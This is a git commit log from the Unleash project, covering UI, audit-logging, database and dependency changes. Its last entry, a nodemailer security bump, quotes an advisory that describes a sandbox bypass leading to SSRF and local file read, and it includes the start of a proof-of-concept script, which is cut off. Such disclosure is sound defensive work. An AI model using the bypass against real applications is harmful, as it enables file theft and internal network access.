16383 Commits

Author SHA1 Message Date
Gastón Fournier 0102c51169 fix: avoid cleaning the negative cache 2026-09-09 17:43:49 +02:00
Mateusz Prusaczyk 9b8bd2ee38 feat(strategies): simpler strategy setup - part 5c - template card and template screen
Co-authored-by: Claude Opus 5 (1M context) <noreply@anthropic.com>
2026-09-09 15:44:40 +02:00
Mateusz Kwasniewski 8cec1a30ff feat: batch same user expiry tokens in one email 2026-09-09 14:46:58 +02:00
Thomas Heartman 8ea0eb3296 fix: show more honest graphs / align time series
In the previous implementation (in
https://github.com/bricks-software/unleash-enterprise/pull/1709), there
was a bug where: if the data series were of different lengths, then
hovering a point might pick a different time in each series:

Notice how the blue and yellow points are at different times here:
<img width="1040" height="676" alt="image"
src="https://github.com/user-attachments/assets/9fb829ac-c2c9-475e-85af-e6bb5af0dbfa"
/>

In short, this is because the series weren't padded or otherwise
aligned, so, because the tooltip uses index to access the values, it
could pick a different time in each series.

This fixes that by padding each series with `null` values. This means
that sparse series will only show the values they actually have. They
might come and go, depending on the data. Single points are rendered as
a single dot instead of interpolating to the next point. This prevents
lines that make it look like there's data when there isn't.

Single data points look like this:
<img width="565" height="521" alt="Pasted Graphic 2"
src="https://github.com/user-attachments/assets/19c7c030-586c-454d-8d80-f845660f77fc"
/>

Broken graphs look like this:
<img width="667" height="587" alt="1000 20260908 1000"
src="https://github.com/user-attachments/assets/0943343b-06dc-4756-8c99-55ef1934219e"
/>


Not padding the values with 0s is in line with the old graph, but not
interpolating between values is a change that _I_ think is an
improvement. Turning that back on is one additional config value
(`spanGaps: true`).

Old graph style:
<img width="1483" height="216" alt="Pasted Graphic 4"
src="https://github.com/user-attachments/assets/0bcb525c-84d4-4ceb-83b3-b1d7bbbc2cf5"
/>

The "we have a green value, but not a blue value, but it looks like the
blue line has a value" problem:
<img width="800" height="265" alt="Pasted Graphic 5"
src="https://github.com/user-attachments/assets/2ae5f1a0-574c-4492-b1b2-5a2d9a934563"
/>

What it'd look like if we turned on spanGaps: true. The blue line has a
circular marker, the yellow does not, but it looks like the yellow is
non-zero:
<img width="555" height="537" alt="20260908 955"
src="https://github.com/user-attachments/assets/071f5189-e194-44d2-8751-411bdd714f54"
/>
2026-09-09 13:56:44 +02:00
Thomas Heartman 36771f4e7f chore: Update Admin settings -> Network -> Traffic graph to match analytics
Replaces the old graph in admin settings -> network -> traffic graph
with the newer graph style that we use for the analytics page. Bonus: we
get to delete a bunch of code. Negative: we lose any distinction between
graph lines other than color (bad for accessibility). However, this is
how we style all the other charts in the interface, so we should fix it
at the source if we want to.

Before:
<img width="1217" height="679" alt="image"
src="https://github.com/user-attachments/assets/88a0f049-dc76-47a3-be8f-84c568e218d9"
/>


After:
<img width="1278" height="720" alt="image"
src="https://github.com/user-attachments/assets/44a869b8-c43d-4aa9-90d9-b05daf92291c"
/>
2026-09-09 13:56:43 +02:00
Mateusz Kwasniewski 4af1ca7f17 feat: hash email in flight recorder not unleash 2026-09-09 12:57:41 +02:00
Gastón Fournier 1bebbafece fix: make client registration writes resilient to deadlocks (#12619)
## About the changes

Concurrent registration flushes can acquire overlapping application and
instance row locks in different orders, causing deadlocks. A failed
flush also discards its buffered registrations.

Sort bulk writes by their conflict keys and coalesce application
observations by `app_name`, keeping the greatest `seen_at` within each
batch. Keep the original applications-first order: commit applications
and their usage rows together, then persist instance heartbeats
separately. Sorting addresses lock ordering; swapping these calls has no
demonstrated deadlock-prevention benefit.

Restore failed batches while preserving newer registrations received
during persistence. Correct application `lastSeen` mapping to the
persisted `seen_at` column and type the database row mappings.

Fixes #11390. Consistent ordering addresses opposite-order batch
deadlocks; it does not eliminate ordinary lock waits or reduce write
volume.

## OSS PR checklist

- [x] I have read and agree to the [Unleash Contributor License
Agreement](https://github.com/Unleash/unleash/blob/main/CLA.md).
- [x] I have added tests or explained why tests are not needed.
- [x] I have updated documentation where relevant. No configuration or
schema changes require documentation updates.
2026-09-09 12:01:42 +02:00
Øystein Lorentzen Vesth ac2cadad83 feat: Displays all project scoped integrations and makes UI similar to global Integrations page
Now displays all project integrations and not just `app-slack` since it is
a bit confusing that only one type of integrations is shown. Also
changed the UI so it is similar to the global integrations page. This
also makes it easier to add different project integrations.
2026-09-09 11:42:26 +02:00
Kamala a040068f92 chore: clamp exposure valure for automations
Since we're showing the exposure progress indicator on exposure based
automations, inputting a very big value results in a visual bug. This
clamps the max value of exposures to 1 billion.

Before:

<img width="1103" height="247" alt="Screenshot 2026-09-08 at 17 43 15"
src="https://github.com/user-attachments/assets/1725fd30-96c3-407c-99f3-27aaa907187e"
/>



After:

<img width="1103" height="247" alt="Screenshot 2026-09-08 at 17 55 50"
src="https://github.com/user-attachments/assets/4a54d5ad-2ba3-49e9-835f-95c4be689549"
/>
2026-09-09 11:31:44 +02:00
Krzysztof (Kris) Kula 0acf4b4f1a chore: new flag editableInstanceName
enterprise + frontend flag 

It doesn't make sense in the OSS
2026-09-09 11:24:12 +02:00
Gergo Kekesi 5ff54da9a5 refactor(tracking): useTracking returns one callable per journey
`useTracking` now returns a callable tracker, so a call site holds one
named function per journey: `trackX(action)`, `trackX.mutation(fn)`,
`trackX.validationFailed()`. Every call site is converted; the old
object return let callers choose between destructuring, holding, and
renaming, which produced four shapes in a single PR when I was working
with Claude. This rule will now be enforced and will be easy to follow.

A Biome GritQL rule (`oss/tracking-shape.grit`) rejects destructuring
the return value, so the shape is enforced by lint rather than review.
2026-09-09 10:20:56 +01:00
irstavr 623785b74d feat(audit): adds user-agent to audit events for user-initiated events only - EG-4693
Closes [EG-4693](https://linear.app/unleash/issue/EG-4693)

## Issue

Customer's CSOC needs `user-agent` on the audit logs we replicate to S3
(Samely it's done for login/logout events). Access logs already carry
it, audit-events didn't.


### What we did

In this PR we add `user-agent` to audit events, but only for
user-initiated ones. This is behind a `"auditEventUserAgent"` flag (off
by default).

By tech decision, we track only reqs that create audit-events not all of
them.

Rest of scheduled change requests, automated actions, bg jobs, anything
under the system-audit-user do NOT get the 'user-agent' info. As there's
no HTTP req behind those, there's nothing to record => these rows store
`null` intentionally, so we can tell "NO user agent" from "empty user
agent".

### How it works

`extractAuditInfo(req)` builds the audit-context for a req, and it's the
only place a user-agent can get in. So that's where we read the header,
check the flag and clean the value:

```ts
userAgent: captureUserAgent ? sanitizeUserAgent(extractUserAgent(req)) : undefined
```

### Where it shows up

- new db column `user_agent` on `events` (nullable)
- the S3 audit export, as `userAgent`
- **not** the event search API or the UI 
- `auditEventFields(auditUser)` - 15 events were hand-writing
`createdBy` / `createdByUserId` / `ip` as object literals. One helper
now, so the next audit column is a one-line change instead of a 15-file
sweep.
- import-toggles was rebuilding its audit context with
`extractAuditInfoFromUser`, which throws the request away. It passes
`auditUser` straight through now.

### Tests

- unit: sanitizing, flag on/off, and a check of every entry point that
is *not* user-initiated
- e2e via real HTTP stack: one req that produces both a user-attributed
and a system-attributed event, proving only the first gets a
'user-agent' field

How we tested it:

- Run the app with the flag ON
- Created a feature flag -> to provoke a "featiure_created" event
<img width="1726" height="616" alt="Screenshot 2026-09-03 at 13 14 44"
src="https://github.com/user-attachments/assets/2aa9ea4a-881c-42ea-bf84-b3fdf1a8ad96"
/>

- Checked events table:
<img width="1548" height="164" alt="Screenshot 2026-09-03 at 13 13 32"
src="https://github.com/user-attachments/assets/41f7aa82-450b-4c89-b06c-a2f04c372d3e"
/>

we have a new row "user-agent" on events table 🎊 

## Notes

- Migration is `ADD COLUMN ... TEXT` with no default
- `events` table has no retention
- whatever we put there stays forever. Fine for one nullable column,
worth remembering before we widen scope.
- password reset (`/auth/reset`) is user-initiated but sits outside
`/api/admin` and stores under the system-audit-user, so it gets no
"user-agent".
    - out of scope here - should be added?

---------

Co-authored-by: irstavr <irini.stavrakantonaki@getunleash.io>
Co-authored-by: irstavr <irstavr@gmail.com>
2026-09-09 11:16:27 +02:00
Kamala 1344184544 feat: show current exposures count indicator next to automation
Shows an exposure progress indicator next to exposure-based milestone
automations. The indicator displays the environment's accumulated
exposures against the automation's threshold, e.g. `~510/1k exposures`,
with counts floored to two significant digits so progress is never
overstated. It renders on the feature overview page and in change
request views of milestone automation changes, both editable and
readonly.

- Reads `totalUsage` from the existing feature metrics summary (`GET
/api/admin/client-metrics/features/:name`). The indicator shares the SWR
cache entry the page already populates.
- `useFeatureMetrics` accepts optional identifiers and moves onto
`useConditionalSWR`, matching our general pattern.
- `useExposureProgress(condition, environment, featureName?)` owns the
decision logic: an explicitly passed feature name (change request views
pass `plan.featureName`) wins over the route's `featureId`, and the hook
returns `undefined`, no fetch, no indicator, when neither exists.
`ExposureProgress` itself is pure presentation.
- The transition condition row now wraps, so on narrow screens the pill
drops below the condition instead of colliding with the draft badges and
the delete action.



<img width="1004" height="175" alt="Screenshot 2026-09-07 at 15 53 03"
src="https://github.com/user-attachments/assets/00b5110c-b723-488b-b3b3-d359aefa4923"
/>




https://github.com/user-attachments/assets/2aa3a08c-70ff-42db-b028-f18eaea68723


<img width="1004" height="342" alt="Screenshot 2026-09-07 at 15 51 41"
src="https://github.com/user-attachments/assets/a84a50b3-823c-49b2-83b0-8e40a74cacf6"
/>



<img width="567" height="211" alt="Screenshot 2026-09-07 at 16 40 53"
src="https://github.com/user-attachments/assets/ecaa8f71-c4c7-4f50-9d2b-b061c53b3afe"
/>


<img width="831" height="503" alt="Screenshot 2026-09-07 at 16 57 17"
src="https://github.com/user-attachments/assets/b7287891-da10-444d-bf89-db0fdc1cdfa9"
/>



## Follow-up tasks

Now that we are rendering this exposures count indicator component,
bigger numbers break the UI (see screenshot below). We need to validate
against a maximum number for exposures values.

<img width="839" height="142" alt="Screenshot 2026-09-07 at 16 42 00"
src="https://github.com/user-attachments/assets/259492cb-cb41-4376-92a6-140215be3e48"
/>
2026-09-09 11:16:02 +02:00
Mateusz Prusaczyk 687fdcd2ed refactor(strategies): extract NoReleaseTemplatesMessage and ReleaseTemplateCard
Co-authored-by: Claude Opus 5 (1M context) <noreply@anthropic.com>
2026-09-09 10:25:13 +02:00
GitHub Actions Bot c47ca5932d chore(oss): sync Unleash/unleash main 2026-09-09 07:15:17 +00:00
Mateusz Prusaczyk f838c55465 refactor(strategies): simpler strategy setup - part 5b - extract useAddReleasePlan
Co-authored-by: Claude Opus 5 (1M context) <noreply@anthropic.com>
2026-09-09 08:38:29 +02:00
renovate[bot] 99bff31686 chore(deps): update dependency highlight.js to v11.12.0 (#12631)
This PR contains the following updates:

| Package | Change |
[Age](https://docs.renovatebot.com/merge-confidence/) |
[Confidence](https://docs.renovatebot.com/merge-confidence/) |
|---|---|---|---|
| [highlight.js](https://highlightjs.org/)
([source](https://redirect.github.com/highlightjs/highlight.js)) |
[`11.11.1` →
`11.12.0`](https://renovatebot.com/diffs/npm/highlight.js/11.11.1/11.12.0)
|
![age](https://developer.mend.io/api/mc/badges/age/npm/highlight.js/11.12.0?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/highlight.js/11.11.1/11.12.0?slim=true)
|

---

### Release Notes

<details>
<summary>highlightjs/highlight.js (highlight.js)</summary>

###
[`v11.12.0`](https://redirect.github.com/highlightjs/highlight.js/blob/HEAD/CHANGES.md#Version-11120)

[Compare
Source](https://redirect.github.com/highlightjs/highlight.js/compare/11.11.2...11.12.0)

Parser Engine:

- fix(parser) count named capture groups when rewriting backreferences
[spokodev][]

New Grammars:

- add FreeDesktop config file (`.desktop` / systemd) grammar [gg582][]
- added 3rd party Cedar grammar to SUPPORTED\_LANGUAGES [Dhruv Maniya][]
- added 3rd party DAX and M (Power Query) grammars to
SUPPORTED\_LANGUAGES [jiaopengzi][]
- added 3rd party Djot grammar to SUPPORTED\_LANGUAGES [Mark Scherer][]
- added 3rd party Igor Pro grammar to SUPPORTED\_LANGUAGES [Ryne
Andal][]
- added 3rd party Jaiva grammar to SUPPORTED\_LANGUAGES [Lehlogonolo
Poole][]
- added 3rd party Liquidsoap grammar to SUPPORTED\_LANGUAGES [Romain
Beauxis][]
- added 3rd party MoonBit grammar to SUPPORTED\_LANGUAGES
[Kaida-Amethyst][]
- added 3rd party Pkl grammar to SUPPORTED\_LANGUAGES [Dan Chao][]
- added 3rd party RAScript grammar to SUPPORTED\_LANGUAGES [Joshua
Raphael][]
- added 3rd party Veryl grammar to SUPPORTED\_LANGUAGES [Naoya Hatta][]
- added 3rd party Why3 grammar to SUPPORTED\_LANGUAGES [JGalego][]
- added 3rd party Xojo grammar to SUPPORTED\_LANGUAGES [patricksalo][]
- referenced existing 3rd party ES|QL grammar in SUPPORTED\_LANGUAGES
[Styx0x6][]

Core Grammars:

- fix(c) only match real `atomic_*` type names, not C11 atomic
functions, issue
[#&#8203;3837](https://redirect.github.com/highlightjs/highlight.js/issues/3837)
[Mark Xian][]
- fix(c) do not highlight C++ std types as built-ins, issue
[#&#8203;4103](https://redirect.github.com/highlightjs/highlight.js/issues/4103)
[Arron Zou][]
- fix(c, cpp) bound the run of type tokens in front of a function name
(ReDoS), issue
[#&#8203;4362](https://redirect.github.com/highlightjs/highlight.js/issues/4362)
[Jayesh Bhade][]
- fix(c, cpp) scope angle-bracket header string to `#include`, issue
[#&#8203;3505](https://redirect.github.com/highlightjs/highlight.js/issues/3505)
[Pablo][]
- fix(c, cpp) stop a raw string's closing delimiter from swallowing
quotes, issue
[#&#8203;3585](https://redirect.github.com/highlightjs/highlight.js/issues/3585)
[David Pavlovschii][]
- enh(cmake) add `block` and `endblock` keywords [Anonymous Maarten][]
- fix(cmake) only highlight standalone numbers, not digits that begin an
identifier (e.g. `3rdparty`), issue
[#&#8203;4170](https://redirect.github.com/highlightjs/highlight.js/issues/4170)
[Mark Xian][]
- fix(cpp) require a word boundary before numeric literals so digits
inside identifiers aren't highlighted as numbers, issue
[#&#8203;4231](https://redirect.github.com/highlightjs/highlight.js/issues/4231)
[Mark Xian][]
- fix(crystal) stop treating integer division `//` as a regex literal
[Zain Asif][]
- enh(csharp) support digit separators in binary literals and numeric
type suffixes, and stop highlighting the leading `_` of an identifier,
issue
[#&#8203;4258](https://redirect.github.com/highlightjs/highlight.js/issues/4258)
[Sarath Francis][]
- enh(css) add corner-shape properties [Hama Tanveer][]
- enh(css) support six-digit `unicode-range` values [Konstantin
Baltsat][]
- enh(dart) add highlighting for class and function names [guuido][]
- enh(dns) highlight registered CAA property tags, issue
[#&#8203;4475](https://redirect.github.com/highlightjs/highlight.js/issues/4475)
[Joey Huang][]
- enh(dns) improve grammar: character strings, TXT, classes, escapes,
addresses [Checconio][]
- enh(dos) add `batch` as an alias, issue
[#&#8203;4395](https://redirect.github.com/highlightjs/highlight.js/issues/4395)
[Hashim Khan][]
- enh(gherkin) update keyword list [Hirse][]
- enh(gherkin) variables can't contain whitespace [Hirse][]
- enh(gherkin) docstrings can use backticks [Hirse][]
- enh(go) recognize binary integer literals [spokodev][]
- enh(groovy) support underscores in numeric literals [greymoth][]
- fix(haskell) highlight `where` in GADT and closed type-family
declarations, issue
[#&#8203;3753](https://redirect.github.com/highlightjs/highlight.js/issues/3753)
[Konstantin Baltsat][]
- enh(java) improve detection of types, including generic and array
types [Hannes Wallnoefer][]
- enh(javascript) add `self` to built-in variables [Dsaquel][]
- enh(kotlin) add `ktm` and `ktx` aliases [DarkMatter-999][]
- fix(leaf) fix bug in Leaf keyword highlighting [Francesco Paolo
Severino][]
- fix(lisp) preserve highlighting after quoted multiplication
expressions [arturict][]
- enh(llvm) support block C-style comments [utam-1][]
- enh(lua) add Lua 5.5 `global` keyword [Nibiri][]
- fix(markdown) don't treat a `***` or `___` thematic break as the start
of bold text, issue
[#&#8203;3719](https://redirect.github.com/highlightjs/highlight.js/issues/3719)
[Mayank Gupta][]
- enh(nsis) enhance NSIS rules [Jan T. Sott][]
- enh(python) add missing builtins: `aiter` and `anext` (3.10),
`frozendict` and `sentinel` (3.15) [Hugo van Kemenade][]
- enh(python) correctly highlight `lazy import` syntax from PEP 810
[Peter Bierma][]
- enh(python) support t-strings [Nicolas Le Cam][]
- fix(ruby) don't treat the scope resolution operator `::` as a symbol,
issue
[#&#8203;4294](https://redirect.github.com/highlightjs/highlight.js/issues/4294)
[Hashim Khan][]
- enh(rust) add `safe` keyword [Frances Wingerter][]
- enh(rust) include the `raw` borrow operator in keywords [Shiva Kiran
Koninty][]
- enh(rust) parse f16 and f128 literals [usamoi][]
- fix(rust) allow function invocations whose names start with a keyword
[Xia Li-yao][]
- fix(rust) recognize `\\` and `\"` char-literal escapes so highlighting
doesn't leak, issue
[#&#8203;4351](https://redirect.github.com/highlightjs/highlight.js/issues/4351)
[Sarath Francis][]
- enh(shell) match period (.) as part of shell prompt [Ian Wienand][]
- enh(sqf) update to Arma 3 v2.22 [LouMontana][]
- fix(xml) remove recursive sublanguage references to prevent ReDoS
[petejm][]

Documentation:

- docs(php) explain the difference between `php` and `php-template`
[Zain Asif][]
- document LLVM IR in SUPPORTED\_LANGUAGES [Jan Schultke][]
- document the existing `pwsh` alias for PowerShell
[helpimnotdrowning][]
- list languages with category "common" in SUPPORTED\_LANGUAGES [Marc
Bernard][]
- remind contributors to run `npm i` [Proliecan][]
- fix typos in README.CDN.md [Zitrone][]

Themes:

- added Equinox theme [Griffon Langyer][]

Build / Tooling:

- (build) allow third-party packages to override default languages
[Lysxia][]
- (build) use Trusted Publishers in the publishing pipeline [allejo][]
- fix(types) allow RegExp in `Mode.keywords` [KJyang-0114][]
- refactor(tools) replace `@colors/colors` with ansis [webdiscus][]
- chore: dependency updates

CONTRIBUTORS

[spokodev]: https://redirect.github.com/spokodev

[gg582]: https://redirect.github.com/gg582

[Dhruv Maniya]: https://redirect.github.com/iamdhrv

[jiaopengzi]: https://redirect.github.com/jiaopengzi

[Mark Scherer]: https://redirect.github.com/dereuromark

[Ryne Andal]: https://redirect.github.com/ryneandal

[Lehlogonolo Poole]: https://redirect.github.com/yetnt

[Romain Beauxis]: https://redirect.github.com/toots

[Kaida-Amethyst]: https://redirect.github.com/Kaida-Amethyst

[Dan Chao]: https://redirect.github.com/bioball

[Joshua Raphael]: https://redirect.github.com/joshraphael

[Naoya Hatta]: https://redirect.github.com/dalance

[JGalego]: https://redirect.github.com/JGalego

[patricksalo]: https://redirect.github.com/patricksalo

[Styx0x6]: https://redirect.github.com/styx0x6

[Mark Xian]: https://redirect.github.com/xianjianlf2

[Arron Zou]: https://redirect.github.com/arronKler

[Jayesh Bhade]: https://redirect.github.com/Jaybhade

[Pablo]: https://redirect.github.com/MsfPablo

[David Pavlovschii]: https://redirect.github.com/davidpavlovschi

[Anonymous Maarten]: https://redirect.github.com/madebr

[Zain Asif]: https://redirect.github.com/zain-asif-dev

[Sarath Francis]: https://redirect.github.com/sarathfrancis90

[Hama Tanveer]: https://redirect.github.com/ezforhamza

[Konstantin Baltsat]: https://redirect.github.com/Baltsat

[guuido]: https://redirect.github.com/guuido

[Joey Huang]: https://redirect.github.com/oiahoon

[Checconio]: https://redirect.github.com/Checconio

[Hashim Khan]: https://redirect.github.com/Hashim1999164

[Hirse]: https://redirect.github.com/Hirse

[greymoth]: https://redirect.github.com/mahirhir

[Hannes Wallnoefer]: https://redirect.github.com/hns

[Dsaquel]: https://redirect.github.com/Dsaquel

[DarkMatter-999]: https://redirect.github.com/DarkMatter-999

[Francesco Paolo Severino]: https://redirect.github.com/fpseverino

[arturict]: https://redirect.github.com/arturict

[utam-1]: https://redirect.github.com/utam-1

[Nibiri]: https://redirect.github.com/NibiriTheMan

[Mayank Gupta]: https://redirect.github.com/Mynk11

[Jan T. Sott]: https://redirect.github.com/idleberg

[Hugo van Kemenade]: https://redirect.github.com/hugovk

[Peter Bierma]: https://redirect.github.com/ZeroIntensity

[Nicolas Le Cam]: https://redirect.github.com/KuSh

[Frances Wingerter]: https://redirect.github.com/fw-immunant

[Shiva Kiran Koninty]: https://redirect.github.com/skr4n

[usamoi]: https://redirect.github.com/usamoi

[Xia Li-yao]: https://redirect.github.com/Lysxia

[Ian Wienand]: https://redirect.github.com/ianw

[LouMontana]: https://redirect.github.com/LouMontana

[petejm]: https://redirect.github.com/petejm

[Jan Schultke]: https://redirect.github.com/eisenwave

[helpimnotdrowning]: https://redirect.github.com/helpimnotdrowning

[Marc Bernard]: https://redirect.github.com/mbtools

[Proliecan]: https://redirect.github.com/Proliecan

[Zitrone]: https://redirect.github.com/quantenzitrone

[Griffon Langyer]: https://redirect.github.com/rfon6ngy

[Lysxia]: https://redirect.github.com/Lysxia

[allejo]: https://redirect.github.com/allejo

[KJyang-0114]: https://redirect.github.com/KJyang-0114

[webdiscus]: https://redirect.github.com/webdiscus

###
[`v11.11.2`](https://redirect.github.com/highlightjs/highlight.js/blob/HEAD/CHANGES.md#Version-11112)

[Compare
Source](https://redirect.github.com/highlightjs/highlight.js/compare/11.11.1...11.11.2)

Parser Engine:

- fix illegal handling at end of input code [Josh Goebel][]

New Grammars:

- added 3rd party Aiken grammar to SUPPORTED\_LANGUAGES [Josh
Marchand][]
- added 3rd party VoltScript grammar to SUPPORTED\_LANGUAGES [Chester
Moses][]
- added 3rd party Gleam grammar to SUPPORTED\_LANGUAGES [Filip
Hoffmann][]
- added 3rd party Magik grammar to SUPPORTED\_LANGUAGES [Sebastiaan
Speck][]
- added 3rd party Prisma grammar to SUPPORTED\_LANGUAGES [SungHyun
Kim][]
- added 3rd party Bicep grammar to SUPPORTED\_LANGUAGES [Anthony
Martin][]
- added 3rd party L4 grammar to SUPPORTED\_LANGUAGES [Thomas Gorissen][]
- added 3rd party Abc Notation grammar to SUPPORTED\_LANGUAGES
[NriotHrreion][]

Core Grammars:

- fix(cpp) exclude keywords from function calls [Eisenwave][]
- enh(csp) add missing directives / keywords from MDN (7 more) [Max
Liashuk][]
- enh(ada) add new `parallel` keyword, allow `[]` for Ada 2022 [Max
Reznik][]
- fix(javascript) correctly highlight 'for await' again \[wolfgang42]\[]
- fix(diff) fix unified diff hunk header regex to allow unpaired numbers
[Chris Wilson][]
- enh(php) support single line and hash comments in attributes,
constructor and functions [Antoine Musso][]
- fix(ex) adds support for `?'` char literal and missing `defguardp`
keyword [Kevin Bloch][]
- enh(json) add json5 support [Kerry Shetline][]
- fix(csharp) Support digit separators [te-ing][]
- fix(css) `unicode-range` parsing, issue
[#&#8203;4253](https://redirect.github.com/highlightjs/highlight.js/issues/4253)
[Kerry Shetline][]

Documentation:

- update link to Odin grammar to maintained version [Marian Pekár][]
- fix type `highlight` deprecated message [Brandon Dong][]
- fixed typo and incorrect git command [SungHyun Kim][]
- fix CONTRIBUTING.md broken badge link [SungHyun Kim][]
- alphabetized languages + upper-cased BASIC in SUPPORTED\_LANGUAGES.md
[Adam Lui][]
- deduplicate JSON from SUPPORTED\_LANGUAGES [Lukasz Czajczyk][]

Themes:

- Fix: cybertopia themes render correctly in shadow DOM [hbgl][]
- added "vs Dark " theme [Twineee1][]

Themes:

- Added `Night Coder Ash` theme [Ashkan Shirpour][]
- Added `Night Coder Charcoal` theme [Ashkan Shirpour][]
- Added `Night Coder Ember` theme [Ashkan Shirpour][]
- Added `Night Coder Flame` theme [Ashkan Shirpour][]
- Added `Paper` theme [Ashkan Shirpour][]
- Added `Ice` theme [Ashkan Shirpour][]

CONTRIBUTORS

[Josh Goebel]: https://redirect.github.com/joshgoebel

[Marian Pekár]: https://redirect.github.com/marianpekar

[Eisenwave]: https://redirect.github.com/Eisenwave/

[Brandon Dong]: https://redirect.github.com/brandondong

[SungHyun Kim]: https://redirect.github.com/witch-factory

[Lukasz Czajczyk]: https://redirect.github.com/LukeCz

[Josh Marchand]: https://redirect.github.com/yHSJ

[Max Liashuk]: https://redirect.github.com/probil

[Max Reznik]: https://redirect.github.com/reznikmm

[Kevin Bloch]: https://redirect.github.com/codingthat

[Chris Wilson]: https://redirect.github.com/sushicw

[Antoine Musso]: https://redirect.github.com/hashar

[Chester Moses]: https://redirect.github.com/Chester-Moses-HCL

[Kerry Shetline]: https://redirect.github.com/kshetline

[Adam Lui]: https://redirect.github.com/adamlui

[Sebastiaan Speck]: https://redirect.github.com/sebastiaanspeck

[Filip Hoffmann]: https://redirect.github.com/folospior

[Twineee1]: https://redirect.github.com/Twineee1

[hbgl]: https://redirect.github.com/hbgl

[Thomas Gorissen]: https://redirect.github.com/serrynaimo

[te-ing]: https://redirect.github.com/te-ing

[Anthony Martin]: https://redirect.github.com/anthony-c-martin

[NriotHrreion]: https://redirect.github.com/NriotHrreion

[Ashkan Shirpour]: https://redirect.github.com/a5hk

</details>

---

### Configuration

📅 **Schedule**: (in timezone Europe/Madrid)

- Branch creation
  - "after 7pm every weekday,before 5am every weekday"
- Automerge
  - At any time (no schedule defined)

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR is behind base branch, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/Unleash/unleash).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0NC42OS4xIiwidXBkYXRlZEluVmVyIjoiNDQuNjkuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2026-09-09 01:30:12 +00:00
GitHub Actions Bot 2ade179c1b chore(oss): sync Unleash/unleash main 2026-09-09 01:29:10 +00:00
renovate[bot] 990873712d chore(deps): update dependency nodemailer to v9.1.1 [security] (#12630)
This PR contains the following updates:

| Package | Change |
[Age](https://docs.renovatebot.com/merge-confidence/) |
[Confidence](https://docs.renovatebot.com/merge-confidence/) |
|---|---|---|---|
| [nodemailer](https://nodemailer.com/)
([source](https://redirect.github.com/nodemailer/nodemailer)) | [`9.0.6`
→ `9.1.1`](https://renovatebot.com/diffs/npm/nodemailer/9.0.6/9.1.1) |
![age](https://developer.mend.io/api/mc/badges/age/npm/nodemailer/9.1.1?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/nodemailer/9.0.6/9.1.1?slim=true)
|

---

### Nodemailer: resolveContent() on a MailMessage bypasses
disableFileAccess/disableUrlAccess when called with the legacy signature

[GHSA-8m3c-c648-2xjj](https://redirect.github.com/advisories/GHSA-8m3c-c648-2xjj)

<details>
<summary>More information</summary>

#### Details
##### Summary

Nodemailer's `disableFileAccess` / `disableUrlAccess` options are a
security sandbox that lets an application forbid untrusted message
content (`html`/`text`/attachment `path`/`href`) from reading local
files or making outbound HTTP(S) requests. The fix for
GHSA-wqvq-jvpq-h66f (commit `5f69497`) threaded these flags through the
library's internal resolution paths (`MailMessage.resolveAll()` and
`_convertDataImages()`), but the public plugin API
`MailMessage.resolveContent(...args)`
(`lib/mailer/mail-message.js:41-43`) remains a raw passthrough to
`shared.resolveContent()`.

When called with the documented legacy signature
`mail.resolveContent(data, key, callback)`, `shared.resolveContent`
normalizes the missing options argument to an empty object (`options =
options || {}`, `lib/shared/index.js:530`). The message-level flags that
the `MailMessage` constructor already copied into `mail.data`
(`lib/mailer/mail-message.js:34-38`) are silently discarded, so
`resolveContentValue` skips both access-control guards and reaches
`nmfetch(url)` (SSRF, `lib/shared/index.js:588`) or
`fs.createReadStream(path)` (arbitrary file read,
`lib/shared/index.js:597`).

A plugin or application code that resolves message content through the
documented API (the same API the library's own `_convertDataImages`
uses, threading the flags explicitly) thereby bypasses the sandbox an
application deliberately enabled.

##### Details

Root cause. The `MailMessage` constructor stores the transporter-level
sandbox flags on the message object
(`lib/mailer/mail-message.js:34-38`):

```js
['disableFileAccess', 'disableUrlAccess', 'normalizeHeaderKey', 'maxRecipients'].forEach(key => {
    if (key in options) {
        this.data[key] = options[key];
    }
});
```

The public resolver is a pure passthrough
(`lib/mailer/mail-message.js:41-43`):

```js
resolveContent(...args) {
    return shared.resolveContent(...args);
}
```

`shared.resolveContent` supports the legacy 3-argument signature and
collapses the missing options to `{}` (`lib/shared/index.js:524-530`):

```js
module.exports.resolveContent = (data, key, options, callback) => {
    // options is optional; support the legacy resolveContent(data, key, callback) signature
    if (!callback && typeof options === 'function') {
        callback = options;
        options = false;
    }
    options = options || {};
    ...
    resolveContentValue(data, key, options, callback);
```

`resolveContentValue` then checks `options.disableUrlAccess` /
`options.disableFileAccess` (`lib/shared/index.js:581` / `:590`), both
`undefined` for the legacy signature, so it falls through to `nmfetch`
(`:588`) or `fs.createReadStream` (`:597`).

Contrast with the fixed paths. `resolveAll()`
(`lib/mailer/mail-message.js:112-115`) and `_convertDataImages()`
(`lib/mailer/index.js:437-440`) both pass the message flags explicitly.
The MIME streaming path (`lib/mime-node/index.js:1059-1077`) also honors
the flags. So an application that enables the sandbox and then calls
`transporter.sendMail()` is protected; the bypass appears only when
message content is resolved through the public legacy-signature API —
which is the documented plugin usage (the `resolveContent` JSDoc at
`lib/shared/index.js:510-523` states it is "useful when you want to
create a plugin that needs a content value").

Affected versions. Confirmed on `9.1.0` (HEAD
`efd6e29c10c6e0c25c57bd2f2a71302838235a4f`, the current npm latest). The
gap was introduced by the GHSA-wqvq-jvpq-h66f fix and is still present;
the public API has no regression coverage
(`test/mailer/mail-message-test.js` contains no `resolveContent` test).

##### PoC

Requires: `nodemailer@9.1.0`, a readable local file, and any reachable
HTTP endpoint (loopback suffices). Non-destructive; no network egress
beyond a local listener.

```js
'use strict';
const nodemailer = require('nodemailer');
const MailMessage = require('nodemailer/lib/mailer/mail-message');

const TARGET_FILE = '/app/src/package.json';   // any readable local file
const SSRF_URL = 'http://http-sink:8080/poc-ssrf'; // any local/internal HTTP target

const transporter = nodemailer.createTransport({
    streamTransport: true,
    disableFileAccess: true,   // sandbox explicitly enabled
    disableUrlAccess: true
